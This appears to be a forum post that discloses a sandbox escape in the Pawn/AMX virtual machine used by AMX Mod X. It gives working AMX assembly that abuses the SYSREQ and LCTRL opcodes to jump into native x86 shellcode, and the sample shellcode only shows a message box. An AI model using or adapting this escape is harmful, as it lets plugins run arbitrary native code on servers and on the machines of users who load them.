Ok, let's say you want to execute some real assembly instead of pawn assembly using AMX virtual machine.
I had this idea for a long time, but didn't have enough dedication to take a good look at it. But one day I was quite bored so I dived into Pawn/AMX virtual machine documentation. And I found the security bug I was looking for. Or is it a feature? SYSREQ opcode allows you to jump to ANY address (not only the ones from natives table) outside the VM.
All you need to do is to mess with sysreq's argument. It's argument is an offset in natives table. We can increase this offset, so it points to some our variable. In this variable we have an address where we want to jump to.
I think global variable is the best for this purpose. We can easily get it's relative position from the beginning of the script (using LCTRL and a few tricks). Now we can subtract position of natives table and we get distance from natives table to our variable. But we can't use it as an offset yet. Sysreq's offsets are divided by 8, because of alignment into 8byte blocks. So we divide our offset by 8 too and we can use it now. We have to do just one more trick - we have to use two global variables, because data block isn't aligned into 8byte grid.
Now we have to store some address in that variables that will point to our shellcode. Shellcode will be just global array of cells. How to get it's absolute address in memory? I'll use another security bug/feature to get it. I'll just call LCTRL (with arg 1), which will give me absolute address of data block. Now I just add offset of my array and I have an address pointing at my shellcode. Store it in that first two global vars and we're done.
AMX ASM:
Code:
.CODE
halt 0
.NATIVE
.DATA
;two global variables for storing shellcode's address
X86ASM_ADDR stat 2
;array of cells containing shellcode, initially filled with INT3-s
;I don't put my shellcode directly into asm file, because of VM's reversed endianity
;I fill in my shellcode later directly into amx file
X86ASM_CODE stat 25 fill 0xCCCCCCCC
.CODE
PROC plugin_init
;get address of data block
lctrl 1
;skip these two global vars
const.alt CELL*2
add
;save the address into vars
stor.pri X86ASM_ADDR
stor.pri X86ASM_ADDR+CELL
;restore original adress
sub
;dirty hack to get script's base address
move.alt
shr.c.pri 0x12
shl.c.pri 0x12
;get offset of data block
sub.alt
;subtract magic numbers
const.alt 0x40 - 0x7 ;natives offset minus size of padding plus one
sub
;divide by 8
const.alt 0x8
udiv
;call sysreq
sysreq.pri
;cleanup and exit
zero.pri
retn
ENDP
.PUBLIC
plugin_init
Example of x86 shellcode. It's system and hlds-version depended, so it won't probably work. It is just a simple call of MessageBoxA.
Code:
6A 40 E8 0A 00 00 00 54 65 73 74 00 90 90 90 90 90 E8 45 00 00 00 4A 75 73 74 20 74 65 73 74 69 6E 67 20 65 78 65 63 75 74 69 6F 6E 20 6F 66 20 78 38 36 20 73 68 65 6C 6C 63 6F 64 65 20 64 69 72 65 63 74 6C 79 20 66 72 6F 6D 20 61 6D 78 20 73 63 72 69 70 74 2E 20 3A 29 00 6A 00 FF 15 14 E2 44 01 C3
A few notes:
> It gives you one more reason not to download compiled amxx files
> It shoud work with all architectures, not only x86 (of course, you have to write assembly for your architecture)
> It is probably useless